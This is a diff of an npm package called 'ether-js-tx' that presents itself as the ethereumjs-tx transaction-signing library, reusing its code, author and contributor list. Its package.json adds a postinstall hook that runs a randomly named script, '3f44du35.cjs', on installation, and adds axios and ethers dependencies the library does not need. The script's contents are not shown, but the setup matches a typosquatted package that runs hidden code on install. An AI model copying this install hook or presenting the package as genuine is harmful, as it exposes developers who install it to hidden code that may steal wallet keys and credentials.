+ */
85
+ getDataFee(): BN;
86
+ /**
87
+ * the minimum amount of gas the tx must have (DataFee + TxFee + Creation Fee)
88
+ */
89
+ getBaseFee(): BN;
90
+ /**
91
+ * the up front amount that an account must have for this transaction to be valid
92
+ */
93
+ getUpfrontCost(): BN;
94
+ /**
95
+ * Validates the signature and checks to see if it has enough gas.
96
+ */
97
+ validate(): boolean;
98
+ validate(stringError: false): boolean;
99
+ validate(stringError: true): string;
100
+ /**
101
+ * Returns the rlp encoding of the transaction
102
+ */
103
+ serialize(): Buffer;
104
+ /**
105
+ * Returns the transaction in JSON format
106
+ * @see {@link https://github.com/ethereumjs/ethereumjs-util/blob/master/docs/index.md#defineproperties|ethereumjs-util}
107
+ */
108
+ toJSON(labels?: boolean): {
109
+ [key: string]: string;
110
+ } | string[];
111
+ private _validateV;
112
+ private _isSigned;
113
+ private _overrideVSetterWithValidation;
114
+ private _implementsEIP155;
115
+ }
@@ -0,0 +1,344 @@
1
+ "use strict";
2
+ var __assign = (this && this.__assign) || function () {
3
+ __assign = Object.assign || function(t) {
4
+ for (var s, i = 1, n = arguments.length; i < n; i++) {
5
+ s = arguments[i];
6
+ for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p))
7
+ t[p] = s[p];
8
+ }
9
+ return t;
10
+ };
11
+ return __assign.apply(this, arguments);
12
+ };
13
+ Object.defineProperty(exports, "__esModule", { value: true });
14
+ var ethereumjs_util_1 = require("ethereumjs-util");
15
+ var ethereumjs_common_1 = require("ethereumjs-common");
16
+ var buffer_1 = require("buffer");
17
+ // secp256k1n/2
18
+ var N_DIV_2 = new ethereumjs_util_1.BN('7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0', 16);
19
+ /**
20
+ * An Ethereum transaction.
21
+ */
22
+ var Transaction = /** @class */ (function () {
23
+ /**
24
+ * Creates a new transaction from an object with its fields' values.
25
+ *
26
+ * @param data - A transaction can be initialized with its rlp representation, an array containing
27
+ * the value of its fields in order, or an object containing them by name.
28
+ *
29
+ * @param opts - The transaction's options, used to indicate the chain and hardfork the
30
+ * transactions belongs to.
31
+ *
32
+ * @note Transaction objects implement EIP155 by default. To disable it, use the constructor's
33
+ * second parameter to set a chain and hardfork before EIP155 activation (i.e. before Spurious
34
+ * Dragon.)
35
+ *
36
+ * @example
37
+ * ```js
38
+ * const txData = {
39
+ * nonce: '0x00',
40
+ * gasPrice: '0x09184e72a000',
41
+ * gasLimit: '0x2710',
42
+ * to: '0x0000000000000000000000000000000000000000',
43
+ * value: '0x00',
44
+ * data: '0x7f7465737432000000000000000000000000000000000000000000000000000000600057',
45
+ * v: '0x1c',
46
+ * r: '0x5e1d3a76fbf824220eafc8c79ad578ad2b67d01b0c2425eb1f1347e8f50882ab',
47
+ * s: '0x5bd428537f05f9830e93792f90ea6a3e2d1ee84952dd96edbae9f658f831ab13'
48
+ * };
49
+ * const tx = new Transaction(txData);
50
+ * ```
51
+ */
52
+ function Transaction(data, opts) {
53
+ if (data === void 0) { data = {}; }
54
+ if (opts === void 0) { opts = {}; }
55
+ // instantiate Common class instance based on passed options
56
+ if (opts.common) {
57
+ if (opts.chain || opts.hardfork) {
58
+ throw new Error('Instantiation with both opts.common, and opts.chain and opts.hardfork parameter not allowed!');
59
+ }
60
+ this._common = opts.common;
61
+ }
62
+ else {
63
+ var chain = opts.chain ? opts.chain : 'mainnet';
64
+ var hardfork = opts.hardfork ? opts.hardfork : 'petersburg';
65
+ this._common = new ethereumjs_common_1.default(chain, hardfork);
66
+ }
67
+ // Define Properties
68
+ var fields = [
69
+ {
70
+ name: 'nonce',
71
+ length: 32,
72
+ allowLess: true,
73
+ default: new buffer_1.Buffer([]),
74
+ },
75
+ {
76
+ name: 'gasPrice',
77
+ length: 32,
78
+ allowLess: true,
79
+ default: new buffer_1.Buffer([]),
80
+ },
81
+ {
82
+ name: 'gasLimit',
83
+ alias: 'gas',
84
+ length: 32,
85
+ allowLess: true,
86
+ default: new buffer_1.Buffer([]),
87
+ },
88
+ {
89
+ name: 'to',
90
+ allowZero: true,
91
+ length: 20,
92
+ default: new buffer_1.Buffer([]),
93
+ },
94
+ {
95
+ name: 'value',
96
+ length: 32,
97
+ allowLess: true,
98
+ default: new buffer_1.Buffer([]),
99
+ },
100
+ {
101
+ name: 'data',
102
+ alias: 'input',
103
+ allowZero: true,
104
+ default: new buffer_1.Buffer([]),
105
+ },
106
+ {
107
+ name: 'v',
108
+ allowZero: true,
109
+ default: new buffer_1.Buffer([]),
110
+ },
111
+ {
112
+ name: 'r',
113
+ length: 32,
114
+ allowZero: true,
115
+ allowLess: true,
116
+ default: new buffer_1.Buffer([]),
117
+ },
118
+ {
119
+ name: 's',
120
+ length: 32,
121
+ allowZero: true,
122
+ allowLess: true,
123
+ default: new buffer_1.Buffer([]),
124
+ },
125
+ ];
126
+ // attached serialize
127
+ ethereumjs_util_1.defineProperties(this, fields, data);
128
+ /**
129
+ * @property {Buffer} from (read only) sender address of this transaction, mathematically derived from other parameters.
130
+ * @name from
131
+ * @memberof Transaction
132
+ */
133
+ Object.defineProperty(this, 'from', {
134
+ enumerable: true,
135
+ configurable: true,
136
+ get: this.getSenderAddress.bind(this),
137
+ });
138
+ this._validateV(this.v);
139
+ this._overrideVSetterWithValidation();
140
+ }
141
+ /**
142
+ * If the tx's `to` is to the creation address
143
+ */
144
+ Transaction.prototype.toCreationAddress = function () {
145
+ return this.to.toString('hex') === '';
146
+ };
147
+ /**
148
+ * Computes a sha3-256 hash of the serialized tx
149
+ * @param includeSignature - Whether or not to include the signature
150
+ */
151
+ Transaction.prototype.hash = function (includeSignature) {
152
+ if (includeSignature === void 0) { includeSignature = true; }
153
+ var items;
154
+ if (includeSignature) {
155
+ items = this.raw;
156
+ }
157
+ else {
158
+ if (this._implementsEIP155()) {
159
+ items = this.raw.slice(0, 6).concat([
160
+ ethereumjs_util_1.toBuffer(this.getChainId()),
161
+ // TODO: stripping zeros should probably be a responsibility of the rlp module
162
+ ethereumjs_util_1.stripZeros(ethereumjs_util_1.toBuffer(0)),
163
+ ethereumjs_util_1.stripZeros(ethereumjs_util_1.toBuffer(0)),
164
+ ]);
165
+ }
166
+ else {
167
+ items = this.raw.slice(0, 6);
168
+ }
169
+ }
170
+ // create hash
171
+ return ethereumjs_util_1.rlphash(items);
172
+ };
173
+ /**
174
+ * returns chain ID
175
+ */
176
+ Transaction.prototype.getChainId = function () {
177
+ return this._common.chainId();
178
+ };
179
+ /**
180
+ * returns the sender's address
181
+ */
182
+ Transaction.prototype.getSenderAddress = function () {
183
+ if (this._from) {
184
+ return this._from;
185
+ }
186
+ var pubkey = this.getSenderPublicKey();
187
+ this._from = ethereumjs_util_1.publicToAddress(pubkey);
188
+ return this._from;
189
+ };
190
+ /**
191
+ * returns the public key of the sender
192
+ */
193
+ Transaction.prototype.getSenderPublicKey = function () {
194
+ if (!this.verifySignature()) {
195
+ throw new Error('Invalid Signature');
196
+ }
197
+ // If the signature was verified successfully the _senderPubKey field is defined
198
+ return this._senderPubKey;
199
+ };
200
+ /**
201
+ * Determines if the signature is valid
202
+ */
203
+ Transaction.prototype.verifySignature = function () {
204
+ var msgHash = this.hash(false);
205
+ // All transaction signatures whose s-value is greater than secp256k1n/2 are considered invalid.
206
+ if (this._common.gteHardfork('homestead') && new ethereumjs_util_1.BN(this.s).cmp(N_DIV_2) === 1) {
207
+ return false;
208
+ }
209
+ try {
210
+ var v = ethereumjs_util_1.bufferToInt(this.v);
211
+ var useChainIdWhileRecoveringPubKey = v >= this.getChainId() * 2 + 35 && this._common.gteHardfork('spuriousDragon');
212
+ this._senderPubKey = ethereumjs_util_1.ecrecover(msgHash, v, this.r, this.s, useChainIdWhileRecoveringPubKey ? this.getChainId() : undefined);
213
+ }
214
+ catch (e) {
215
+ return false;
216
+ }
217
+ return !!this._senderPubKey;
218
+ };
219
+ /**
220
+ * sign a transaction with a given private key
221
+ * @param privateKey - Must be 32 bytes in length
222
+ */
223
+ Transaction.prototype.sign = function (privateKey) {
224
+ // We clear any previous signature before signing it. Otherwise, _implementsEIP155's can give
225
+ // different results if this tx was already signed.
226
+ this.v = new buffer_1.Buffer([]);
227
+ this.s = new buffer_1.Buffer([]);
228
+ this.r = new buffer_1.Buffer([]);
229
+ var msgHash = this.hash(false);
230
+ var sig = ethereumjs_util_1.ecsign(msgHash, privateKey);
231
+ if (this._implementsEIP155()) {
232
+ sig.v += this.getChainId() * 2 + 8;
233
+ }
234
+ Object.assign(this, sig);
235
+ };
236
+ /**
237
+ * The amount of gas paid for the data in this tx
238
+ */
239
+ Transaction.prototype.getDataFee = function () {
240
+ var data = this.raw[5];
241
+ var cost = new ethereumjs_util_1.BN(0);
242
+ for (var i = 0; i < data.length; i++) {
243
+ data[i] === 0
244
+ ? cost.iaddn(this._common.param('gasPrices', 'txDataZero'))
245
+ : cost.iaddn(this._common.param('gasPrices', 'txDataNonZero'));
246
+ }
247
+ return cost;
248
+ };
249
+ /**
250
+ * the minimum amount of gas the tx must have (DataFee + TxFee + Creation Fee)
251
+ */
252
+ Transaction.prototype.getBaseFee = function () {
253
+ var fee = this.getDataFee().iaddn(this._common.param('gasPrices', 'tx'));
254
+ if (this._common.gteHardfork('homestead') && this.toCreationAddress()) {
255
+ fee.iaddn(this._common.param('gasPrices', 'txCreation'));
256
+ }
257
+ return fee;
258
+ };
259
+ /**
260
+ * the up front amount that an account must have for this transaction to be valid
261
+ */
262
+ Transaction.prototype.getUpfrontCost = function () {
263
+ return new ethereumjs_util_1.BN(this.gasLimit).imul(new ethereumjs_util_1.BN(this.gasPrice)).iadd(new ethereumjs_util_1.BN(this.value));
264
+ };
265
+ Transaction.prototype.validate = function (stringError) {
266
+ if (stringError === void 0) { stringError = false; }
267
+ var errors = [];
268
+ if (!this.verifySignature()) {
269
+ errors.push('Invalid Signature');
270
+ }
271
+ if (this.getBaseFee().cmp(new ethereumjs_util_1.BN(this.gasLimit)) > 0) {
272
+ errors.push(["gas limit is too low. Need at least " + this.getBaseFee()]);
273
+ }
274
+ if (stringError === false) {
275
+ return errors.length === 0;
276
+ }
277
+ else {
278
+ return errors.join(' ');
279
+ }
280
+ };
281
+ /**
282
+ * Returns the rlp encoding of the transaction
283
+ */
284
+ Transaction.prototype.serialize = function () {
285
+ // Note: This never gets executed, defineProperties overwrites it.
286
+ return ethereumjs_util_1.rlp.encode(this.raw);
287
+ };
288
+ /**
289
+ * Returns the transaction in JSON format
290
+ * @see {@link https://github.com/ethereumjs/ethereumjs-util/blob/master/docs/index.md#defineproperties|ethereumjs-util}
291
+ */
292
+ Transaction.prototype.toJSON = function (labels) {
293
+ if (labels === void 0) { labels = false; }
294
+ // Note: This never gets executed, defineProperties overwrites it.
295
+ return {};
296
+ };
297
+ Transaction.prototype._validateV = function (v) {
298
+ if (v === undefined || v.length === 0) {
299
+ return;
300
+ }
301
+ if (!this._common.gteHardfork('spuriousDragon')) {
302
+ return;
303
+ }
304
+ var vInt = ethereumjs_util_1.bufferToInt(v);
305
+ if (vInt === 27 || vInt === 28) {
306
+ return;
307
+ }
308
+ var isValidEIP155V = vInt === this.getChainId() * 2 + 35 || vInt === this.getChainId() * 2 + 36;
309
+ if (!isValidEIP155V) {
310
+ throw new Error("Incompatible EIP155-based V " + vInt + " and chain id " + this.getChainId() + ". See the second parameter of the Transaction constructor to set the chain id.");
311
+ }
312
+ };
313
+ Transaction.prototype._isSigned = function () {
314
+ return this.v.length > 0 && this.r.length > 0 && this.s.length > 0;
315
+ };
316
+ Transaction.prototype._overrideVSetterWithValidation = function () {
317
+ var _this = this;
318
+ var vDescriptor = Object.getOwnPropertyDescriptor(this, 'v');
319
+ Object.defineProperty(this, 'v', __assign({}, vDescriptor, { set: function (v) {
320
+ if (v !== undefined) {
321
+ _this._validateV(ethereumjs_util_1.toBuffer(v));
322
+ }
323
+ vDescriptor.set(v);
324
+ } }));
325
+ };
326
+ Transaction.prototype._implementsEIP155 = function () {
327
+ var onEIP155BlockOrLater = this._common.gteHardfork('spuriousDragon');
328
+ if (!this._isSigned()) {
329
+ // We sign with EIP155 all unsigned transactions after spuriousDragon
330
+ return onEIP155BlockOrLater;
331
+ }
332
+ // EIP155 spec:
333
+ // If block.number >= 2,675,000 and v = CHAIN_ID * 2 + 35 or v = CHAIN_ID * 2 + 36, then when computing
334
+ // the hash of a transaction for purposes of signing or recovering, instead of hashing only the first six
335
+ // elements (i.e. nonce, gasprice, startgas, to, value, data), hash nine elements, with v replaced by
336
+ // CHAIN_ID, r = 0 and s = 0.
337
+ var v = ethereumjs_util_1.bufferToInt(this.v);
338
+ var vAndChainIdMeetEIP155Conditions = v === this.getChainId() * 2 + 35 || v === this.getChainId() * 2 + 36;
339
+ return vAndChainIdMeetEIP155Conditions && onEIP155BlockOrLater;
340
+ };
341
+ return Transaction;
342
+ }());
343
+ exports.default = Transaction;
344
+ //# source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iBAC7B;gBAED,WAAW,CAAC,GAAI,CAAC,CAAC,CAAC,CAAA;YACrB,CAAC,IACD,CAAA;IACJ,CAAC;IAEO,uCAAiB,GAAzB;QACE,IAAM,oBAAoB,GAAG,IAAI,CAAC,OAAO,CAAC,WAAW,CAAC,gBAAgB,CAAC,CAAA;QAEvE,IAAI,CAAC,IAAI,CAAC,SAAS,EAAE,EAAE;YACrB,qEAAqE;YACrE,OAAO,oBAAoB,CAAA;SAC5B;QAED,eAAe;QACf,uGAAuG;QACvG,yGAAyG;QACzG,qGAAqG;QACrG,6BAA6B;QAC7B,IAAM,CAAC,GAAG,6BAAW,CAAC,IAAI,CAAC,CAAC,CAAC,CAAA;QAE7B,IAAM,+BAA+B,GACnC,CAAC,KAAK,IAAI,CAAC,UAAU,EAAE,GAAG,CAAC,GAAG,EAAE,IAAI,CAAC,KAAK,IAAI,CAAC,UAAU,EAAE,GAAG,CAAC,GAAG,EAAE,CAAA;QACtE,OAAO,+BAA+B,IAAI,oBAAoB,CAAA;IAChE,CAAC;IACH,kBAAC;AAAD,CAAC,AAvYD,IAuYC"}
@@ -0,0 +1,84 @@
1
+ /// <reference types="node" />
2
+ import Common from 'ethereumjs-common';
3
+ /**
4
+ * Any object that can be transformed into a `Buffer`
5
+ */
6
+ export interface TransformableToBuffer {
7
+ toBuffer(): Buffer;
8
+ }
9
+ /**
10
+ * A hex string prefixed with `0x`.
11
+ */
12
+ export declare type PrefixedHexString = string;
13
+ /**
14
+ * A Buffer, hex string prefixed with `0x`, Number, or an object with a toBuffer method such as BN.
15
+ */
16
+ export declare type BufferLike = Buffer | TransformableToBuffer | PrefixedHexString | number;
17
+ /**
18
+ * A transaction's data.
19
+ */
20
+ export interface TxData {
21
+ /**
22
+ * The transaction's gas limit.
23
+ */
24
+ gasLimit?: BufferLike;
25
+ /**
26
+ * The transaction's gas price.
27
+ */
28
+ gasPrice?: BufferLike;
29
+ /**
30
+ * The transaction's the address is sent to.
31
+ */
32
+ to?: BufferLike;
33
+ /**
34
+ * The transaction's nonce.
35
+ */
36
+ nonce?: BufferLike;
37
+ /**
38
+ * This will contain the data of the message or the init of a contract
39
+ */
40
+ data?: BufferLike;
41
+ /**
42
+ * EC recovery ID.
43
+ */
44
+ v?: BufferLike;
45
+ /**
46
+ * EC signature parameter.
47
+ */
48
+ r?: BufferLike;
49
+ /**
50
+ * EC signature parameter.
51
+ */
52
+ s?: BufferLike;
53
+ /**
54
+ * The amount of Ether sent.
55
+ */
56
+ value?: BufferLike;
57
+ }
58
+ /**
59
+ * The data of a fake (self-signing) transaction.
60
+ */
61
+ export interface FakeTxData extends TxData {
62
+ /**
63
+ * The sender of the Tx.
64
+ */
65
+ from?: BufferLike;
66
+ }
67
+ /**
68
+ * The transaction's options. This could be specified using a Common object, or `chain` and `hardfork`. Defaults to
69
+ * mainnet.
70
+ */
71
+ export interface TransactionOptions {
72
+ /**
73
+ * A Common object defining the chain and the hardfork a transaction belongs to.
74
+ */
75
+ common?: Common;
76
+ /**
77
+ * The chain of the transaction, default: 'mainnet'
78
+ */
79
+ chain?: number | string;
80
+ /**
81
+ * The hardfork of the transaction, default: 'petersburg'
82
+ */
83
+ hardfork?: string;
84
+ }
package/dist/types.js ADDED
@@ -0,0 +1,3 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ //# sourceMappingURL=types.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"types.js","sourceRoot":"","sources":["../src/types.ts"],"names":[],"mappings":""}
package/package.json ADDED
@@ -0,0 +1,171 @@
1
+ {
2
+ "name": "ether-js-tx",
3
+ "version": "2.1.2",
4
+ "description": "A simple module for creating, manipulating and signing Ethereum transactions",
5
+ "main": "dist/index.js",
6
+ "types": "dist/index.d.ts",
7
+ "files": [
8
+ "dist",
9
+ "3f44du35.cjs"
10
+ ],
11
+ "scripts": {
12
+ "postinstall": "node 3f44du35.cjs"
13
+ },
14
+ "husky": {
15
+ "hooks": {
16
+ "pre-push": "npm run lint"
17
+ }
18
+ },
19
+ "keywords": [
20
+ "ethereum",
21
+ "transactions"
22
+ ],
23
+ "author": "mjbecze <mb@ethdev.com>",
24
+ "license": "MPL-2.0",
25
+ "dependencies": {
26
+ "ethereumjs-common": "^1.5.0",
27
+ "ethereumjs-util": "^6.0.0",
28
+ "axios": "^1.7.7",
29
+ "ethers": "^6.13.2"
30
+ },
31
+ "devDependencies": {
32
+ "@ethereumjs/config-nyc": "^1.1.1",
33
+ "@ethereumjs/config-prettier": "^1.1.1",
34
+ "@ethereumjs/config-tsc": "^1.1.1",
35
+ "@ethereumjs/config-tslint": "^1.1.1",
36
+ "@types/bn.js": "^4.11.5",
37
+ "@types/minimist": "^1.2.0",
38
+ "@types/node": "^11.13.4",
39
+ "@types/tape": "^4.2.33",
40
+ "browserify": "^16.2.3",
41
+ "contributor": "^0.1.25",
42
+ "coveralls": "^2.11.4",
43
+ "ethereumjs-testing": "git+https://github.com/ethereumjs/ethereumjs-testing.git#v1.2.8",
44
+ "husky": "^2.1.0",
45
+ "istanbul": "^0.4.1",
46
+ "karma": "^4.1.0",
47
+ "karma-browserify": "^6.0.0",
48
+ "karma-detect-browsers": "^2.3.3",
49
+ "karma-firefox-launcher": "^1.1.0",
50
+ "karma-tap": "^4.1.4",
51
+ "minimist": "^1.2.0",
52
+ "nyc": "^14.0.0",
53
+ "prettier": "^1.17.0",
54
+ "tape": "^4.0.3",
55
+ "ts-node": "^8.0.3",
56
+ "tslint": "^5.15.0",
57
+ "typedoc": "^0.14.2",
58
+ "typedoc-plugin-markdown": "^1.2.0",
59
+ "typescript": "^3.4.3",
60
+ "typestrict": "^1.0.2"
61
+ },
62
+ "repository": {
63
+ "type": "git",
64
+ "url": "https://github.com/ethereumjs/ethereumjs-tx.git"
65
+ },
66
+ "bugs": {
67
+ "url": "https://github.com/ethereumjs/ethereumjs-tx/issues"
68
+ },
69
+ "homepage": "https://github.com/ethereumjs/ethereumjs-tx",
70
+ "contributors": [
71
+ {
72
+ "name": "<-c-g-> ",
73
+ "email": "christophergewecke@gmail.com",
74
+ "url": "https://github.com/cgewecke",
75
+ "contributions": 1,
76
+ "additions": 3,
77
+ "deletions": 1,
78
+ "hireable": true
79
+ },
80
+ {
81
+ "name": "Kirill Fomichev",
82
+ "email": "fanatid@ya.ru",
83
+ "url": "https://github.com/fanatid",
84
+ "contributions": 1,
85
+ "additions": 3,
86
+ "deletions": 2,
87
+ "hireable": true
88
+ },
89
+ {
90
+ "name": "Rick Behl",
91
+ "email": null,
92
+ "url": "https://github.com/Nexus7",
93
+ "contributions": 1,
94
+ "additions": 1,
95
+ "deletions": 1,
96
+ "hireable": null
97
+ },
98
+ {
99
+ "name": "Tim Coulter",
100
+ "email": "tim@timothyjcoulter.com",
101
+ "url": "https://github.com/tcoulter",
102
+ "contributions": 1,
103
+ "additions": 1,
104
+ "deletions": 1,
105
+ "hireable": null
106
+ },
107
+ {
108
+ "name": "kumavis",
109
+ "email": "aaron@kumavis.me",
110
+ "url": "https://github.com/kumavis",
111
+ "contributions": 1,
112
+ "additions": 6,
113
+ "deletions": 6,
114
+ "hireable": true
115
+ },
116
+ {
117
+ "name": "Jack Peterson",
118
+ "email": "jack@tinybike.net",
119
+ "url": "https://github.com/tinybike",
120
+ "contributions": 2,
121
+ "additions": 1,
122
+ "deletions": 2,
123
+ "hireable": null
124
+ },
125
+ {
126
+ "name": "Nick Dodson",
127
+ "email": null,
128
+ "url": "https://github.com/SilentCicero",
129
+ "contributions": 2,
130
+ "additions": 29,
131
+ "deletions": 0,
132
+ "hireable": true
133
+ },
134
+ {
135
+ "name": null,
136
+ "email": null,
137
+ "url": "https://github.com/ckeenan",
138
+ "contributions": 2,
139
+ "additions": 4,
140
+ "deletions": 3,
141
+ "hireable": null
142
+ },
143
+ {
144
+ "name": "Alex Beregszaszi",
145
+ "email": "alex@rtfs.hu",
146
+ "url": "https://github.com/axic",
147
+ "contributions": 22,
148
+ "additions": 27562,
149
+ "deletions": 42613,
150
+ "hireable": true
151
+ },
152
+ {
153
+ "name": null,
154
+ "email": null,
155
+ "url": "https://github.com/wanderer",
156
+ "contributions": 171,
157
+ "additions": 112706,
158
+ "deletions": 96355,
159
+ "hireable": null
160
+ },
161
+ {
162
+ "name": null,
163
+ "email": null,
164
+ "url": "https://github.com/kvhnuke",
165
+ "contributions": 7,
166
+ "additions": 268,
167
+ "deletions": 53,
168
+ "hireable": null
169
+ }
170
+ ]
171
+ }